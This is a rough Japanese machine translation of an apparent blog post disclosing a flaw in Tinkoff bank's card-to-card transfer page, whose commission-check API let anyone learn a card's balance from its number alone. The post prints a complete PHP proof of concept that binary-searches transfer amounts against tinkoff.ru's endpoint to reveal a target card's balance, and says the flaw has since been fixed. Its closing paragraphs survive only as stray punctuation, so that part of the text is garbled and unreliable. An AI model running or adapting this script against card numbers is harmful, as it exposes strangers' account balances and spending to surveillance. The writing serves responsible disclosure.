Tinkoffは、顧客のカードバランスデータを侵害しました。

UPD3:脆弱性は解決され、バランスは検証されなくなりました。



それはすべて、ある晴れた夜、友人が私に彼にカードにお金を投げるように頼んだという事実から始まりました。 私はいつもインターネットバンクまたはモバイルアプリケーションのいずれかでこのような問題を解決しましたが、最近彼らのインターネットバンクが野生の怪物に変わったので、今回はcard2cardサービスを使用することにしました。



私は落ち着いてフィールドを埋めると、予期しないことが起こります:







待って、送信ボタンをクリックしませんでした! どこから来たの? 金額でプレイすると、カードの実際の金額がチェックされます。



最初は、Ajaxが編集ごとにCVCや有効期限を含むすべてのカードデータをサーバーに送信するのは罪深いことだと思いました。 もちろん、これは嫌なことですが、https-彼らが望むことをさせてください。 私はブラウザのリクエストに行きます:







CVCは送信されません。すでに興味深いです。 しかし、有効期間は送信されますが、少なくともある程度保護されていると思いますが、カードの残高とその場でのAjaxの残高を確認する理由はまだありません。



しかし、それでも、私はまだ興味の底に達していないし、リクエストを編集していません:







おっと 反対側では、送信者のカード番号以外は何もチェックされません。



明らかに、単純なブルートフォース法を使用すると、すべてが問題ない金額を簡単に選択でき、エラーが大きくなります。これがカードの残高になります。 つまり、カード番号のみを知っている(もちろん、情報はあまり公開されていませんが、重要ではありません。多くの人がカード番号を友人に渡し、支払いを受け取るためにインターネットに投稿することさえあります)。 さらに、実験が示しているように、これに影響を与える毎月の制限はありません。



穴は重要ではありませんが、この情報をリアルタイムで入手できるため、すべての費用/補充を追跡できます。これはより深刻です。



すぐに公的に利用可能な郵便で警備員に登録解除されますが、通常の反応はゼロです。



概念実証をすぐにスケッチしました(強く打たないで、私のプログラミングの経験は学校でBASICです)。



内部のPHP
<?php
header( 'Content-type: text/html; charset=utf-8' );

$card = $_GET['card'];
$card = preg_replace('/[^0-9]+/', '', $card);

if (strlen($card) != 16) {
	exit('<br>Wrong card number: ' . $card);
	
}

echo 'Probing card ' . $card . '... <br>';

flush();
ob_flush();
sleep(1);

$money = 50000;

$max = 1000000;
$min = 0;

$done = false;
$iter = 0;

while ($done == false) {

if($iter %5 == 0) {
  echo 'Still working, please hang on...<br>';
  flush();
  ob_flush();
  sleep(1);

}

$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=1&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};

  if ($result == "OK") {
    //need to increase
	$min = $money;
	$money = ($min + $max) /2;
	$last_total_money = round($obj->payload->total->value);
	
  } else {
    //need to decrease
	$max = $money;
	$money = ($min + $max) /2;
  }
  
  $iter++;
  
  if ((floor($max) - floor($min)) == 0) {
  
    $done = true;
	echo '<br><br>Money amount is ' . $last_total_money . ' roubles.';
  }
  
  if ($iter > 50) {
	  exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
  }
  
}

?>

      
      





. - , , . , , , , .





, , ( ) . .

, - . , .

, , , .



All Articles